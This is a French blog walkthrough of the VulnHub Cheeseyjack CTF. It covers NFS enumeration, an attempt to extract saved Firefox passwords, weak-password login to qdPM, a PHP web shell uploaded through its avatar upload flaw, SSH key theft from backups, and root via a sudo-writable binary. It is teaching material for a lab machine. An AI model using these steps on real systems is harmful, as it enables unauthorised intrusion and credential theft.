Accueil Solution du CTF Cheeseyjack de VulnHub
Post
Annuler

Solution du CTF Cheeseyjack de VulnHub

High Jack

Cheeseyjack est décrit par son créateur comme un CTF réaliste de difficulté facile à moyenne et que tout devrait normalement paraître logique. Une belle promesse pour dire qu’on ne devrait pas subir de guessing.

On a aussi ce conseil si jamais on est bloqué : A cewl tool can help you get past a login page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ sudo nmap -T5 -p- -sCV 192.168.56.3 
Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 192.168.56.3 
Host is up (0.00016s latency). 
Not shown: 65524 closed tcp ports (reset) 
PORT      STATE SERVICE     VERSION 
22/tcp    open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:  
|   3072 96:84:24:c8:07:d0:ec:63:51:e0:af:28:ef:62:df:af (RSA) 
|   256 7b:2b:f8:33:9b:af:9a:05:e8:a3:14:ec:a9:f7:c1:6f (ECDSA) 
|_  256 9d:0e:35:9c:6a:ef:2f:85:c0:aa:65:de:07:25:74:7f (ED25519) 
80/tcp    open  http        Apache httpd 2.4.41 ((Ubuntu)) 
|_http-server-header: Apache/2.4.41 (Ubuntu) 
|_http-title: WeBuild - Bootstrap Coming Soon Template 
111/tcp   open  rpcbind     2-4 (RPC #100000) 
| rpcinfo:  
|   program version    port/proto  service 
|   100000  2,3,4        111/tcp   rpcbind 
|   100000  2,3,4        111/udp   rpcbind 
|   100000  3,4          111/tcp6  rpcbind 
|   100000  3,4          111/udp6  rpcbind 
|   100003  3           2049/udp   nfs 
|   100003  3           2049/udp6  nfs 
|   100003  3,4         2049/tcp   nfs 
|   100003  3,4         2049/tcp6  nfs 
|   100005  1,2,3      43179/tcp   mountd 
|   100005  1,2,3      52459/tcp6  mountd 
|   100005  1,2,3      56062/udp6  mountd 
|   100005  1,2,3      56612/udp   mountd 
|   100021  1,3,4      33463/tcp6  nlockmgr 
|   100021  1,3,4      34047/udp6  nlockmgr 
|   100021  1,3,4      35219/tcp   nlockmgr 
|   100021  1,3,4      47589/udp   nlockmgr 
|   100227  3           2049/tcp   nfs_acl 
|   100227  3           2049/tcp6  nfs_acl 
|   100227  3           2049/udp   nfs_acl 
|_  100227  3           2049/udp6  nfs_acl 
139/tcp   open  netbios-ssn Samba smbd 4.6.2 
445/tcp   open  netbios-ssn Samba smbd 4.6.2 
2049/tcp  open  nfs_acl     3 (RPC #100227) 
33060/tcp open  mysqlx? 
| fingerprint-strings:  
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:  
|     Invalid message" 
|_    HY000 
35219/tcp open  nlockmgr    1-4 (RPC #100021) 
37491/tcp open  mountd      1-3 (RPC #100005) 
43179/tcp open  mountd      1-3 (RPC #100005) 
46813/tcp open  mountd      1-3 (RPC #100005) 

On a beaucoup de ports liés aux services RPC. Évidemment seul NFS semble intéressant dans le lot. Testé via smbclient, Samba ne semble pas partager de disques.

Il est temps de jeter un œil plus curieux sur les partages NFS :

1
2
3
$ showmount -e 192.168.56.3 
Export list for 192.168.56.3: 
/home/ch33s3m4n *

On a donc cet utilisateur qui dispose de son dossier personnel en partage. On peut le monter simplement :

1
sudo mount 192.168.56.3:/home/ch33s3m4n /mnt/

On est bien sûr tenté d’en profiter en rajoutant notre clé publique SSH dans les clés autorisées pour l’utilisateur :

1
2
cp ~/.ssh/id_rsa.pub /mnt/.ssh/authorized_keys 
cp: impossible de créer le fichier standard '/mnt/.ssh/authorized_keys': Système de fichiers accessible en lecture seulement

Raté… En fouillant dans les fichiers, on ne remarque rien de vraiment critique. Dans le dossier Downloads se trouve une archive qdPM_9.1.zip qui est une webapp de gestion de projet.

Étrangement, il y a un dossier .mozilla avec les données de navigation de Firefox. Je les copie donc et tente d’extraire les potentiels mots de passes enregistrés avec firefox_decrypt (j’ai forké le projet car le mainteneur ne souhaite pas maintenir une compatibilité avec les versions moins récentes de Python 3).

1
2
3
4
5
6
$ python3 firefox_decrypt.py /tmp/mozilla_dir/firefox/ 
Select the Mozilla profile you wish to decrypt 
1 -> q525c4g9.default 
2 -> o73rg01h.default-release 
2 
ERROR - Couldn't find credentials file (logins.json or signons.sqlite).

Rien d’intéressant n’a été enregistré. On peut fouiller dans l’historique des pages navigués manuellement :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sqlite3 places.sqlite 
SQLite version 3.36.0 2021-06-18 18:36:39 
Enter ".help" for usage hints. 
sqlite> .tables 
moz_anno_attributes    moz_historyvisits      moz_meta              
moz_annos              moz_inputhistory       moz_origins           
moz_bookmarks          moz_items_annos        moz_places            
moz_bookmarks_deleted  moz_keywords          
sqlite> select * from moz_places; 
1|https://www.mozilla.org/privacy/firefox/||gro.allizom.www.|1|1|0|24|1600975966324579|XC9s1KVMa_Yx|0|47356411089529|||1 
--- snip ---
12|https://sourceforge.net/projects/qdpm/files/latest/download|Download qdPM - Web-Based Project Management Tool from SourceForge.net|ten.egrofecruos.|1|0|1|1950|1600976867874580|ZWK91gbmcYzY|0|47357408577348|q
dPM is a free web-based project management tool suitable for a small team working on multiple projects. It is fully configurable. You can easy…||7 
13|https://downloads.sourceforge.net/project/qdpm/qdPM_9.1.zip?r=&ts=1600976867&use_mirror=managedway||ten.egrofecruos.sdaolnwod.|1|1|0|24|1600976874201416|Aya03IFXdkdW|0|47359131044409|||8 
14|https://managedway.dl.sourceforge.net/project/qdpm/qdPM_9.1.zip|qdPM_9.1.zip|ten.egrofecruos.ld.yawdeganam.|0|0|0|0|1600976913927000|ZB3oiXT0rof4|0|47358794612246|||9 
15|https://sourceforge.net/projects/qdpm/postdownload|Find out more about qdPM - Web-Based Project Management Tool | SourceForge.net|ten.egrofecruos.|1|0|0|98|1600976914716043|GLp-RTeSOoZv|0|47358977842325|qdPM
 is a free web-based project management tool suitable for a small team working on multiple projects. It is fully configurable. You can easy…||7 
16|https://sourceforge.net/projects/qdpm/|qdPM - Web-Based Project Management Tool download | SourceForge.net|ten.egrofecruos.|1|0|0|98|1600976955818223|8bYjfLGzMCEp|0|47357934357261|Download qdPM - Web-Based P
roject Management Tool for free.  qdPM is a free web-based project management tool suitable for a small team working on multiple projects. It is fully configurable.|https://a.fsdn.com/allura/p/qdpm/icon?1534811
126|7

Finalement on n’est pas plus avancés…

Car Jack

La page d’index du site ne donnant rien de probant, je trouve via Feroxbuster le dossier /forms/ avec deux scripts PHP, chacun donne une erreur Unable to load the “PHP Email Form” Library!. Cassés donc.

Comme un nom d’hôte apparaissant dans le code HTML (cheeseyjack.local) j’ai tenté d’énumérer les hôtes virtuels, là encore sans succès :

1
$ ffuf -w /fuzzdb/discovery/dns/alexaTop1mAXFRcommonSubdomains.txt -u http://192.168.56.3/ -H "Host: FUZZ.cheeseyjack.local" -fs 7247

Finalement en utilisant la wordlist directory-list-2.3-big.txt (que vous trouverez facilement sur Github) je trouve déjà ce fichier /it_security/note.txt :

Cheese you complete idiot. You hired me to ensure your webapp project stayed secure and you use a weak password like that?

What’s wrong with you? A baby could guess that!

-crab

Ainsi qu’un dossier /project_management qui semble être une installation de qdPM mentionné plus tôt.

Avec la note précédente, on va donc tenter de trouver un compte valide pour le webapp. J’ai été un peu trompé par l’indice indiquant d’utiliser Cewl qui ne m’a mené à rien.

L’appli demande un email pour nom d’utilisateur donc certainement cheese@cheeseyjack.local ou ch33s3m4n@cheeseyjack.local (rapport au nom d’utilisateur Unix).

Avec le dernier et le mot de passe qdpm je parviens finalement à me connecter sur l’application.

Lumber Jack

Sur exploit-db on trouve la description d’une vulnérabilité pour qdPM 9.1. Il n’y a pas de code d’exploitation et pour cause, il suffit d’uploader un script PHP une fois authentifié en abusant la fonctionnalité de sélection d’un avatar qui ne vérifie pas les extensions de fichier.

Une fois mon shell PHP uploadé un petit click droit me permet de retrouver son emplacement : /project_management/uploads/users/179373-shell.php

Je remarque deux utilisateurs non privilégiés sur le système :

1
2
ch33s3m4n:x:1000:1000:ch33s3m4n,,,:/home/ch33s3m4n:/bin/bash 
crab:x:1001:1001::/home/crab:/bin/bash

Le dernier dispose d’une TODO list intéressante :

1
2
3
4
5
6
7
www-data@cheeseyjack:/var/www/html/project_management/uploads/users$ cat /home/crab/todo.txt  
1. Scold cheese for weak qdpm password (done) 
2. Backup SSH keys to /var/backups 
3. Change cheese's weak password 
4. Milk 
5. Eggs 
6. Stop putting my grocery list on my todo lists

Il y a en effet un fichier key.bak dans /var/backups qui correspond à la clé privée de cet utilisateur. Abusons-en !

Une fois connecté on remarque que l’utilisateur a des droits sudo pour un dossier sur lequel on a le contrôle :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
crab@cheeseyjack:~$ sudo -l 
Matching Defaults entries for crab on cheeseyjack: 
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin 

User crab may run the following commands on cheeseyjack: 
    (ALL : ALL) ALL 
    (root) NOPASSWD: /home/crab/.bin/

crab@cheeseyjack:~$ ls -l /home/crab/.bin/ping 
-rwxr-xr-x 1 crab crab 72776 Sep 24  2020 /home/crab/.bin/ping
crab@cheeseyjack:~$ cp /bin/bash /home/crab/.bin/ping 
crab@cheeseyjack:~$ sudo /home/crab/.bin/ping -p 
root@cheeseyjack:/home/crab# id 
uid=0(root) gid=0(root) groups=0(root) 
root@cheeseyjack:/home/crab# cd /root 
root@cheeseyjack:~# ls 
root.txt 
root@cheeseyjack:~# cat root.txt  
                    ___ _____ 
                   /\ (_)    \ 
                  /  \      (_, 
                 _)  _\   _    \ 
                /   (_)\_( )____\ 
                \_     /    _  _/ 
                  ) /\/  _ (o)( 
                  \ \_) (o)   / 
                   \/________/     

WOWWEEEE! You rooted my box! Congratulations. If you enjoyed this box there will be more coming. 

Tag me on twitter @cheesewadd with this picture and i'll give you a RT!

Published January 18 2022 at 13:29

Cet article est sous licence CC BY 4.0 par l'auteur.